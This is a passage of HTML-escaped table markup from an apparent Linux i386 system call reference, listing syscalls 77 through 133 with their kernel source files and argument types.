href=""&gt;kernel/sys.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;unsigned int&lt;/td&gt;&lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#rlimit"&gt;struct rlimit *&lt;/a&gt;&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;77&lt;/td&gt;&lt;td&gt;sys_getrusage&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;kernel/sys.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;int&lt;/td&gt;&lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#rusage"&gt;struct rusage *&lt;/a&gt;&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;78&lt;/td&gt;&lt;td&gt;sys_gettimeofday&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;kernel/time.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#timeval"&gt;struct timeval *&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#timezone"&gt;struct timezone *&lt;/a&gt;&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;79&lt;/td&gt;&lt;td&gt;sys_settimeofday&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;kernel/time.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#timeval"&gt;struct timeval *&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#timezone"&gt;struct timezone *&lt;/a&gt;&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;80&lt;/td&gt;&lt;td&gt;sys_getgroups&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;kernel/sys.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;int&lt;/td&gt;&lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#gid_t"&gt;gid_t *&lt;/a&gt;&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;81&lt;/td&gt;&lt;td&gt;sys_setgroups&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;kernel/sys.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;int&lt;/td&gt;&lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#gid_t"&gt;gid_t *&lt;/a&gt;&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;82&lt;/td&gt;&lt;td&gt;old_select&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;arch/i386/kernel/sys_i386.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#sel_arg_struct"&gt;struct sel_arg_struct *&lt;/a&gt;&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;83&lt;/td&gt;&lt;td&gt;sys_symlink&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;fs/namei.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;const char *&lt;/td&gt;&lt;td&gt;const char *&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;84&lt;/td&gt;&lt;td&gt;sys_lstat&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;fs/stat.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;char *&lt;/td&gt;&lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#__old_kernel_stat"&gt;struct __old_kernel_stat *&lt;/a&gt;&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;85&lt;/td&gt;&lt;td&gt;sys_readlink&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;fs/stat.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;const char *&lt;/td&gt;&lt;td&gt;char *&lt;/td&gt;&lt;td&gt;int&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;86&lt;/td&gt;&lt;td&gt;sys_uselib&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;fs/exec.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;const char *&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;87&lt;/td&gt;&lt;td&gt;sys_swapon&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;mm/swapfile.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;const char *&lt;/td&gt;&lt;td&gt;int&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;88&lt;/td&gt;&lt;td&gt;sys_reboot&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;kernel/sys.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;int&lt;/td&gt;&lt;td&gt;int&lt;/td&gt;&lt;td&gt;int&lt;/td&gt;&lt;td&gt;void *&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;89&lt;/td&gt;&lt;td&gt;old_readdir&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;fs/readdir.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;unsigned int&lt;/td&gt;&lt;td&gt;void *&lt;/td&gt;&lt;td&gt;unsigned int&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;90&lt;/td&gt;&lt;td&gt;old_mmap&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;arch/i386/kernel/sys_i386.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#mmap_arg_struct"&gt;struct mmap_arg_struct *&lt;/a&gt;&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;91&lt;/td&gt;&lt;td&gt;sys_munmap&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;mm/mmap.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;unsigned long&lt;/td&gt;&lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#size_t"&gt;size_t&lt;/a&gt;&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;92&lt;/td&gt;&lt;td&gt;sys_truncate&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;fs/open.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;const char *&lt;/td&gt;&lt;td&gt;unsigned long&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;93&lt;/td&gt;&lt;td&gt;sys_ftruncate&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;fs/open.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;unsigned int&lt;/td&gt;&lt;td&gt;unsigned long&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;94&lt;/td&gt;&lt;td&gt;sys_fchmod&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;fs/open.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;unsigned int&lt;/td&gt;&lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#mode_t"&gt;mode_t&lt;/a&gt;&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;95&lt;/td&gt;&lt;td&gt;sys_fchown&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;fs/open.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;unsigned int&lt;/td&gt;&lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#uid_t"&gt;uid_t&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#gid_t"&gt;gid_t&lt;/a&gt;&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;96&lt;/td&gt;&lt;td&gt;sys_getpriority&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;kernel/sys.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;int&lt;/td&gt;&lt;td&gt;int&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;97&lt;/td&gt;&lt;td&gt;sys_setpriority&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;kernel/sys.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;int&lt;/td&gt;&lt;td&gt;int&lt;/td&gt;&lt;td&gt;int&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;99&lt;/td&gt;&lt;td&gt;sys_statfs&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;fs/open.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;const char *&lt;/td&gt;&lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#statfs"&gt;struct statfs *&lt;/a&gt;&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;100&lt;/td&gt;&lt;td&gt;sys_fstatfs&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;fs/open.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;unsigned int&lt;/td&gt;&lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#statfs"&gt;struct statfs *&lt;/a&gt;&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;101&lt;/td&gt;&lt;td&gt;sys_ioperm&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;arch/i386/kernel/ioport.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;unsigned long&lt;/td&gt;&lt;td&gt;unsigned long&lt;/td&gt;&lt;td&gt;int&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;102&lt;/td&gt;&lt;td&gt;sys_socketcall&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;net/socket.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;int&lt;/td&gt;&lt;td&gt;unsigned long *&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;103&lt;/td&gt;&lt;td&gt;sys_syslog&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;kernel/printk.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;int&lt;/td&gt;&lt;td&gt;char *&lt;/td&gt;&lt;td&gt;int&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;104&lt;/td&gt;&lt;td&gt;sys_setitimer&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;kernel/itimer.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;int&lt;/td&gt;&lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#itimerval"&gt;struct itimerval *&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#itimerval"&gt;struct itimerval *&lt;/a&gt;&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;105&lt;/td&gt;&lt;td&gt;sys_getitimer&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;kernel/itimer.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;int&lt;/td&gt;&lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#itimerval"&gt;struct itimerval *&lt;/a&gt;&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;106&lt;/td&gt;&lt;td&gt;sys_newstat&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;fs/stat.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;char *&lt;/td&gt;&lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#stat"&gt;struct stat *&lt;/a&gt;&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;107&lt;/td&gt;&lt;td&gt;sys_newlstat&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;fs/stat.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;char *&lt;/td&gt;&lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#stat"&gt;struct stat *&lt;/a&gt;&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;108&lt;/td&gt;&lt;td&gt;sys_newfstat&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;fs/stat.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;unsigned int&lt;/td&gt;&lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#stat"&gt;struct stat *&lt;/a&gt;&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;109&lt;/td&gt;&lt;td&gt;sys_uname&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;arch/i386/kernel/sys_i386.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#old_utsname"&gt;struct old_utsname *&lt;/a&gt;&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;110&lt;/td&gt;&lt;td&gt;sys_iopl&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;arch/i386/kernel/ioport.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;unsigned long&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;111&lt;/td&gt;&lt;td&gt;sys_vhangup&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;fs/open.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;112&lt;/td&gt;&lt;td&gt;sys_idle&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;arch/i386/kernel/process.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;113&lt;/td&gt;&lt;td&gt;sys_vm86old&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;arch/i386/kernel/vm86.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;unsigned long&lt;/td&gt;&lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#vm86plus_struct"&gt;struct vm86plus_struct *&lt;/a&gt;&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;114&lt;/td&gt;&lt;td&gt;sys_wait4&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;kernel/exit.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#pid_t"&gt;pid_t&lt;/a&gt;&lt;/td&gt;&lt;td&gt;unsigned long *&lt;/td&gt;&lt;td&gt;int options&lt;/td&gt;&lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#rusage"&gt;struct rusage *&lt;/a&gt;&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;115&lt;/td&gt;&lt;td&gt;sys_swapoff&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;mm/swapfile.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;const char *&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;116&lt;/td&gt;&lt;td&gt;sys_sysinfo&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;kernel/info.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#sysinfo"&gt;struct sysinfo *&lt;/a&gt;&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;117&lt;/td&gt;&lt;td&gt;sys_ipc &lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#note117"&gt;(*Note)&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;arch/i386/kernel/sys_i386.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#uint"&gt;uint&lt;/a&gt;&lt;/td&gt;&lt;td&gt;int&lt;/td&gt;&lt;td&gt;int&lt;/td&gt;&lt;td&gt;int&lt;/td&gt;&lt;td&gt;void *&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;118&lt;/td&gt;&lt;td&gt;sys_fsync&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;fs/buffer.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;unsigned int&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;119&lt;/td&gt;&lt;td&gt;sys_sigreturn&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;arch/i386/kernel/signal.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;unsigned long&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;120&lt;/td&gt;&lt;td&gt;sys_clone&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;arch/i386/kernel/process.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#pt_regs"&gt;struct pt_regs&lt;/a&gt;&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;121&lt;/td&gt;&lt;td&gt;sys_setdomainname&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;kernel/sys.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;char *&lt;/td&gt;&lt;td&gt;int&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;122&lt;/td&gt;&lt;td&gt;sys_newuname&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;kernel/sys.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#new_utsname"&gt;struct new_utsname *&lt;/a&gt;&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;123&lt;/td&gt;&lt;td&gt;sys_modify_ldt&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;arch/i386/kernel/ldt.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;int&lt;/td&gt;&lt;td&gt;void *&lt;/td&gt;&lt;td&gt;unsigned long&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;124&lt;/td&gt;&lt;td&gt;sys_adjtimex&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;kernel/time.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#timex"&gt;struct timex *&lt;/a&gt;&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;125&lt;/td&gt;&lt;td&gt;sys_mprotect&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;mm/mprotect.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;unsigned long&lt;/td&gt;&lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#size_t"&gt;size_t&lt;/a&gt;&lt;/td&gt;&lt;td&gt;unsigned long&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;126&lt;/td&gt;&lt;td&gt;sys_sigprocmask&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;kernel/signal.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;int&lt;/td&gt;&lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#old_sigset_t"&gt;old_sigset_t *&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#old_sigset_t"&gt;old_sigset_t *&lt;/a&gt;&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;127&lt;/td&gt;&lt;td&gt;sys_create_module&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;kernel/module.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;const char *&lt;/td&gt;&lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#size_t"&gt;size_t&lt;/a&gt;&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;128&lt;/td&gt;&lt;td&gt;sys_init_module&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;kernel/module.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;const char *&lt;/td&gt;&lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#module"&gt;struct module *&lt;/a&gt;&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;129&lt;/td&gt;&lt;td&gt;sys_delete_module&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;kernel/module.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;const char *&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;130&lt;/td&gt;&lt;td&gt;sys_get_kernel_syms&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;kernel/module.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#kernel_sym"&gt;struct kernel_sym *&lt;/a&gt;&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;131&lt;/td&gt;&lt;td&gt;sys_quotactl&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;fs/dquot.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;int&lt;/td&gt;&lt;td&gt;const char *&lt;/td&gt;&lt;td&gt;int&lt;/td&gt;&lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#caddr_t"&gt;caddr_t&lt;/a&gt;&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;132&lt;/td&gt;&lt;td&gt;sys_getpgid&lt;/td&gt;&lt;td&gt;&lt;a href=""&gt;kernel/sys.c&lt;/a&gt;&lt;/td&gt; &lt;td&gt;&lt;a href="http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html#pid_t"&gt;pid_t&lt;/a&gt;&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;133&lt;/td&gt;&lt;td&gt;sys_fchdir&lt;/td&gt;&lt;td&gt;&lt;a 